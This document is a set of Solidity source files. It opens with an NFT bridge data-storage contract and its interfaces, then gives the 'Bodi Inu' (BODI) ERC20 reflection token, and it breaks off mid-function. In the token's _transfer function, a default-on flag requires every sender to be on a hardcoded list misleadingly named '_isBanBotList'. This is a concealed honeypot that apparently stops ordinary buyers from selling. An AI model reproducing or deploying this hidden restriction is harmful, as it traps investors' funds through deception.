* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: contracts/ENSReverseRegistrarI.sol
/*
* Interfaces for ENS Reverse Registrar
* See https://github.com/ensdomains/ens/blob/master/contracts/ReverseRegistrar.sol for full impl
* Also see https://github.com/wealdtech/wealdtech-solidity/blob/master/contracts/ens/ENSReverseRegister.sol
*
* Use this as follows (registryAddress is the address of the ENS registry to use):
* -----
* // This hex value is caclulated by namehash('addr.reverse')
* bytes32 public constant ENS_ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
* function registerReverseENS(address registryAddress, string memory calldata) external {
* require(registryAddress != address(0), "need a valid registry");
* address reverseRegistrarAddress = ENSRegistryOwnerI(registryAddress).owner(ENS_ADDR_REVERSE_NODE)
* require(reverseRegistrarAddress != address(0), "need a valid reverse registrar");
* ENSReverseRegistrarI(reverseRegistrarAddress).setName(name);
* }
* -----
* or
* -----
* function registerReverseENS(address reverseRegistrarAddress, string memory calldata) external {
* require(reverseRegistrarAddress != address(0), "need a valid reverse registrar");
* ENSReverseRegistrarI(reverseRegistrarAddress).setName(name);
* }
* -----
* ENS deployments can be found at https://docs.ens.domains/ens-deployments
* E.g. Etherscan can be used to look up that owner on those contracts.
* namehash.hash("addr.reverse") == "0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2"
* Ropsten: ens.owner(namehash.hash("addr.reverse")) == "0x6F628b68b30Dc3c17f345c9dbBb1E483c2b7aE5c"
* Mainnet: ens.owner(namehash.hash("addr.reverse")) == "0x084b1c3C81545d370f3634392De611CaaBFf8148"
*/
interface ENSRegistryOwnerI {
function owner(bytes32 node) external view returns (address);
}
interface ENSReverseRegistrarI {
event NameChanged(bytes32 indexed node, string name);
/**
* @dev Sets the `name()` record for the reverse ENS record associated with
* the calling account.
* @param name The name to set for this address.
* @return The ENS node hash of the reverse record.
*/
function setName(string calldata name) external returns (bytes32);
}
// File: contracts/BridgeDataI.sol
/*
* Interface for data storage of the bridge.
*/
interface BridgeDataI {
event AddressChanged(string name, address previousAddress, address newAddress);
event ConnectedChainChanged(string previousConnectedChainName, string newConnectedChainName);
event TokenURIBaseChanged(string previousTokenURIBase, string newTokenURIBase);
event TokenSunsetAnnounced(uint256 indexed timestamp);
/**
* @dev The name of the chain connected to / on the other side of this bridge head.
*/
function connectedChainName() external view returns (string memory);
/**
* @dev The name of our own chain, used in token URIs handed to deployed tokens.
*/
function ownChainName() external view returns (string memory);
/**
* @dev The base of ALL token URIs, e.g. https://example.com/
*/
function tokenURIBase() external view returns (string memory);
/**
* @dev The sunset timestamp for all deployed tokens.
* If 0, no sunset is in place. Otherwise, if older than block timestamp,
* all transfers of the tokens are frozen.
*/
function tokenSunsetTimestamp() external view returns (uint256);
/**
* @dev Set a token sunset timestamp.
*/
function setTokenSunsetTimestamp(uint256 _timestamp) external;
/**
* @dev Set an address for a name.
*/
function setAddress(string memory name, address newAddress) external;
/**
* @dev Get an address for a name.
*/
function getAddress(string memory name) external view returns (address);
}
// File: contracts/BridgeData.sol
/*
* Implements a data storage for the bridge.
* Mostly used to storage addresses for various contracts in a common place
* that all contracts can access, but also some other data commonly shared
* between bridge-related contracts.
* Liberally based on Optimistic Ethereum Lib_AddressManager.sol
*/
contract BridgeData is BridgeDataI {
// Chain names
string public override connectedChainName;
string public override ownChainName;
// Base for token URIs
string public override tokenURIBase;
// Token sunset
uint256 public override tokenSunsetTimestamp;
uint256 public immutable sunsetDelay;
// Various addresses, accessed via a name hash.
mapping (bytes32 => address) private addresses;
constructor(string memory _connectedChainName, string memory _ownChainName, string memory _tokenURIBase, uint256 _sunsetDelay, address _tokenAssignmentControl)
{
// During the deployment phase, set bridgeControl to deployer,
// at the end of deployment, switch to actual bridgeControl address.
_setAddress("bridgeControl", msg.sender);
_setAddress("tokenAssignmentControl", _tokenAssignmentControl);
sunsetDelay = _sunsetDelay;
connectedChainName = _connectedChainName;
ownChainName = _ownChainName;
tokenURIBase = _tokenURIBase;
}
modifier onlyBridgeControl()
{
require(msg.sender == getAddress("bridgeControl"), "bridgeControl key required for this function.");
_;
}
modifier onlyBridge()
{
require(msg.sender == getAddress("bridgeControl") || msg.sender == getAddress("bridgeHead"), "bridgeControl key or bridge head required for this function.");
_;
}
modifier onlyTokenAssignmentControl() {
require(msg.sender == getAddress("tokenAssignmentControl"), "tokenAssignmentControl key required for this function.");
_;
}
/*** Enable adjusting variables after deployment ***/
function setConnectedChain(string memory _newConnectedChainName)
external
onlyBridgeControl
{
require(bytes(_newConnectedChainName).length > 0, "You need to provide an actual chain name string.");
emit ConnectedChainChanged(connectedChainName, _newConnectedChainName);
connectedChainName = _newConnectedChainName;
}
function setTokenURIBase(string memory _newTokenURIBase)
external
onlyBridgeControl
{
require(bytes(_newTokenURIBase).length > 0, "You need to provide an actual token URI base string.");
emit TokenURIBaseChanged(tokenURIBase, _newTokenURIBase);
tokenURIBase = _newTokenURIBase;
}
// Set a sunset timestamp for bridged tokens. All transfers will be disabled after that.
// The timestamp has to be at least a delay duration in the future when not yet set.
// Once set, it can be pushed to the further future at any rate with no addittive delay.
// It also can be set to 0 at any point in time, which disables the sunset.
function setTokenSunsetTimestamp(uint256 _timestamp)
public override
onlyBridge
{
require(_timestamp == 0 || _timestamp >= block.timestamp + sunsetDelay ||
(tokenSunsetTimestamp > 0 && _timestamp >= tokenSunsetTimestamp && _timestamp >= block.timestamp),
"Sunset needs to be 0 or (enough) in the future.");
tokenSunsetTimestamp = _timestamp;
emit TokenSunsetAnnounced(_timestamp);
}
function setAddress(string memory _name, address _newAddress)
public override
onlyBridge
{
_setAddress(_name, _newAddress);
}
function _setAddress(string memory _name, address _newAddress)
internal
{
bytes32 nameHash = _getNameHash(_name);
require(_newAddress != address(0) || nameHash != _getNameHash("bridgeControl"), "bridgeControl cannot be the zero address.");
emit AddressChanged(_name, addresses[nameHash], _newAddress);
addresses[nameHash] = _newAddress;
}
function getAddress(string memory _name)
public view override
returns (address)
{
return addresses[_getNameHash(_name)];
}
function _getNameHash(string memory _name)
internal pure
returns (bytes32 _hash)
{
return keccak256(abi.encodePacked(_name));
}
/*** Enable reverse ENS registration ***/
// Call this with the address of the reverse registrar for the respective network and the ENS name to register.
// The reverse registrar can be found as the owner of 'addr.reverse' in the ENS system.
// For Mainnet, the address needed is 0x9062c0a6dbd6108336bcbe4593a3d1ce05512069
function registerReverseENS(address _reverseRegistrarAddress, string calldata _name)
external
onlyTokenAssignmentControl
{
require(_reverseRegistrarAddress != address(0), "need a valid reverse registrar");
ENSReverseRegistrarI(_reverseRegistrarAddress).setName(_name);
}
/*** Make sure currency or NFT doesn't get stranded in this contract ***/
// If this contract gets a balance in some ERC20 contract after it's finished, then we can rescue it.
function rescueToken(address _foreignToken, address _to)
external
onlyTokenAssignmentControl
{
IERC20 erc20Token = IERC20(_foreignToken);
erc20Token.transfer(_to, erc20Token.balanceOf(address(this)));
}
// If this contract gets a balance in some ERC721 contract after it's finished, then we can rescue it.
function approveNFTrescue(IERC721 _foreignNFT, address _to)
external
onlyTokenAssignmentControl
{
_foreignNFT.setApprovalForAll(_to, true);
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-18
* Telegram:https://t.me/BODIINU
* Twitter:https://twitter.com/bodiinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BODI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
string private _name = 'Bodi Inu';
string private _symbol = 'BODI';
uint8 private _decimals = 9;
uint256 public transfertimeout = 45 seconds;
uint256 public _maxTxAmount = 4000000 * 10**6 * 10**9;
mapping (address => bool) private _isBanBotList;
address[] private _banBotList;
bool public swapAndLiquifyEnabled = true;
address private _charityWalletAddress = 0x4603740e9FDF4EEf53C4fe372355ca87c5D95a05;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _charityFee = 1;
uint256 private _previousCharityFee = _charityFee;
uint256 public _liquidityFee = 1;
uint256 private _previousLiquidityFee = _liquidityFee;
address public uniswapPair;
mapping (address => uint256) public lastBuy;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
_isBanBotList[address(0x3BA0A5F84b06d2925A4071A708CF3351bC4cb0F6 )] = true;
_banBotList.push(address(0x3BA0A5F84b06d2925A4071A708CF3351bC4cb0F6 ));
_isBanBotList[address(0x1f219Fa9A883595Fc0B49a2132190EDd242BC179)] = true;
_banBotList.push(address(0x1f219Fa9A883595Fc0B49a2132190EDd242BC179));
_isBanBotList[address(0x17B7574a0c35BCE75af45ACE0cBC656Ce09d04C7)] = true;
_banBotList.push(address(0x17B7574a0c35BCE75af45ACE0cBC656Ce09d04C7));
_isBanBotList[address(0x8fDfD9AF2c04ED0516b5CCFdfFB79aC96f6F716f)] = true;
_banBotList.push(address(0x8fDfD9AF2c04ED0516b5CCFdfFB79aC96f6F716f));
_isBanBotList[address(0xFF94CED2303D795428FD5eC6ABaf6E0bf134c109)] = true;
_banBotList.push(address(0xFF94CED2303D795428FD5eC6ABaf6E0bf134c109));
_isBanBotList[address(0xe8A6990a39B3902260f8de228BD2bF8A3dE741f6)] = true;
_banBotList.push(address(0xe8A6990a39B3902260f8de228BD2bF8A3dE741f6));
_isBanBotList[address(0x7FD7B00C460EB3496f38D73275C220ca583B0b20)] = true;
_banBotList.push(address(0x7FD7B00C460EB3496f38D73275C220ca583B0b20));
_isBanBotList[address(0xfCB47511d7293411D07b3fc87A4939BB1Ba05730)] = true;
_banBotList.push(address(0xfCB47511d7293411D07b3fc87A4939BB1Ba05730));
_isBanBotList[address(0x226060b011A3aE953Cb8D5Ae06BD8a529e4A133C)] = true;
_banBotList.push(address(0x226060b011A3aE953Cb8D5Ae06BD8a529e4A133C));
_isBanBotList[address(0x7F6552b676640C05380156Dc0216630dF4A2b921)] = true;
_banBotList.push(address(0x7F6552b676640C05380156Dc0216630dF4A2b921));
_isBanBotList[address(0x533D4cb0e4D220629973C619bb4C20e1fEB02fFC)] = true;
_banBotList.push(address(0x533D4cb0e4D220629973C619bb4C20e1fEB02fFC));
_isBanBotList[address(0x5b37dDA5C51341a99F5b529bBeC46edd3227340e)] = true;
_banBotList.push(address(0x5b37dDA5C51341a99F5b529bBeC46edd3227340e));
_isBanBotList[address(0xa57F041c66Ef95B253A137a218BBB49663f42Fd7)] = true;
_banBotList.push(address(0xa57F041c66Ef95B253A137a218BBB49663f42Fd7));
_isBanBotList[address(0xf1776d753167d1da8e20e04C313E3A82e846Cba9)] = true;
_banBotList.push(address(0xf1776d753167d1da8e20e04C313E3A82e846Cba9));
_isBanBotList[address(0x5a01086e0D465daf65E4fa6C6B2c697F24Ad762A)] = true;
_banBotList.push(address(0x5a01086e0D465daf65E4fa6C6B2c697F24Ad762A));
_isBanBotList[address(0xeEf964dba1A1ef26c8a3C58C97e7B066305bE75e)] = true;
_banBotList.push(address(0xeEf964dba1A1ef26c8a3C58C97e7B066305bE75e));
_isBanBotList[address(0x9f1A073B66880B80B2E0d41EE1DE0e62224c0802)] = true;
_banBotList.push(address(0x9f1A073B66880B80B2E0d41EE1DE0e62224c0802));
_isBanBotList[address(0x627f8CE89F6D9433bBE1BddDca0780c25948DcfA)] = true;
_banBotList.push(address(0x627f8CE89F6D9433bBE1BddDca0780c25948DcfA));
_isBanBotList[address(0x60DcB6D526fa7DfD2137745B7970F08bD0CfE725)] = true;
_banBotList.push(address(0x60DcB6D526fa7DfD2137745B7970F08bD0CfE725));
_isBanBotList[address(0xd630DDC17754Ef695F97fb813593bC39C3918893)] = true;
_banBotList.push(address(0xd630DDC17754Ef695F97fb813593bC39C3918893));
_isBanBotList[address(0xA6551B9F00D365D81931f1A7136229Dc0a7CAE71)] = true;
_banBotList.push(address(0xA6551B9F00D365D81931f1A7136229Dc0a7CAE71));
_isBanBotList[address(0x2163a5271Ff7c2b1Ad89E4Fe0b1758aB3522b837)] = true;
_banBotList.push(address(0x2163a5271Ff7c2b1Ad89E4Fe0b1758aB3522b837));
_isBanBotList[address(0xCa4c1cF95001e33Be09F41091Dd54ab80c9CeE07)] = true;
_banBotList.push(address(0xCa4c1cF95001e33Be09F41091Dd54ab80c9CeE07));
_isBanBotList[address(0xdF6c28B79556730D56d0F6526B10b30813F36C69)] = true;
_banBotList.push(address(0xdF6c28B79556730D56d0F6526B10b30813F36C69));
_isBanBotList[address(0x0Ade217D201a32DcAb5C8c307671B07521bf82d5)] = true;
_banBotList.push(address(0x0Ade217D201a32DcAb5C8c307671B07521bf82d5));
_isBanBotList[address(0x8E7A14540A9f9590933885B02570F7893af167de)] = true;
_banBotList.push(address(0x8E7A14540A9f9590933885B02570F7893af167de));
_isBanBotList[address(0xC28D43ac61D05A9F9bfDb8C6DFF2D707D24a9Ce9)] = true;
_banBotList.push(address(0xC28D43ac61D05A9F9bfDb8C6DFF2D707D24a9Ce9));
_isBanBotList[address(0x18e6AeAA0da6779ce9186Cdb155A3C1B9d506e44)] = true;
_banBotList.push(address(0x18e6AeAA0da6779ce9186Cdb155A3C1B9d506e44));
_isBanBotList[address(0xBbbc4D6748157B8Db9A7b6Db9Ca696eb7482519f)] = true;
_banBotList.push(address(0xBbbc4D6748157B8Db9A7b6Db9Ca696eb7482519f));
_isBanBotList[address(0x1Bfd13f9A6F23FDEc6F83b0B5aEB7169780960bE)] = true;
_banBotList.push(address(0x1Bfd13f9A6F23FDEc6F83b0B5aEB7169780960bE));
_isBanBotList[address(0xBBb10853A88a7c8Ab28f1AFb959b82B1D8446749)] = true;
_banBotList.push(address(0xBBb10853A88a7c8Ab28f1AFb959b82B1D8446749));
_isBanBotList[address(0x018778c816E19e9F70d0Cc7A2a5a4C752DAC011A)] = true;
_banBotList.push(address(0x018778c816E19e9F70d0Cc7A2a5a4C752DAC011A));
_isBanBotList[address(0x23c0adF5d783DBFC7743f1Dc15b25A2b42b3AAa2)] = true;
_banBotList.push(address(0x23c0adF5d783DBFC7743f1Dc15b25A2b42b3AAa2));
_isBanBotList[address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE)] = true;
_banBotList.push(address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE));
_isBanBotList[address(0x724DA425c2c7211358532BfDcd119Bb9055200D7)] = true;
_banBotList.push(address(0x724DA425c2c7211358532BfDcd119Bb9055200D7));
_isBanBotList[address(0xa943685B9cf4f5AD1aEf7A6c4eB36dfB6a5cE9f1)] = true;
_banBotList.push(address(0xa943685B9cf4f5AD1aEf7A6c4eB36dfB6a5cE9f1));
_isBanBotList[address(0xe825423b2eB0E3E312efa5E8Df64Dff415e8B1a5)] = true;
_banBotList.push(address(0xe825423b2eB0E3E312efa5E8Df64Dff415e8B1a5));
_isBanBotList[address(0xC2351cf7465580773761523075B65098d4fA5056)] = true;
_banBotList.push(address(0xC2351cf7465580773761523075B65098d4fA5056));
_isBanBotList[address(0xce77319DEA0AF1206c0dcf3bbdA84E067182aF67)] = true;
_banBotList.push(address(0xce77319DEA0AF1206c0dcf3bbdA84E067182aF67));
_isBanBotList[address(0x0415b25Bc6441F6dD4EDc8b7a259543CB742dd8b)] = true;
_banBotList.push(address(0x0415b25Bc6441F6dD4EDc8b7a259543CB742dd8b));
_isBanBotList[address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0)] = true;
_banBotList.push(address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE));
_isBanBotList[address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0)] = true;
_banBotList.push(address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0));
_isBanBotList[address(0x91AACd1C3ea875b82B090d5dC6b9c498a595263A)] = true;
_banBotList.push(address(0x91AACd1C3ea875b82B090d5dC6b9c498a595263A));
_isBanBotList[address(0xbB5cB48d9655aa17437d1824101fC29CAC2b068D)] = true;
_banBotList.push(address(0xbB5cB48d9655aa17437d1824101fC29CAC2b068D));
_isBanBotList[address(0xcBB960e2F832ab29a3Aef8949A756c5F007e86D1)] = true;
_banBotList.push(address(0xcBB960e2F832ab29a3Aef8949A756c5F007e86D1));
_isBanBotList[address(0xd42a25864db99162b40a0336545238Ee85E9706F)] = true;
_banBotList.push(address(0xd42a25864db99162b40a0336545238Ee85E9706F));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[sender], "You have no power here!");
if(swapAndLiquifyEnabled)
require(_isBanBotList[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (sender == uniswapPair){
lastBuy[recipient] = block.timestamp;
}
if (recipient == uniswapPair){
require(block.timestamp >= lastBuy[sender] + transfertimeout, "lock 45 seconds after purchase");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
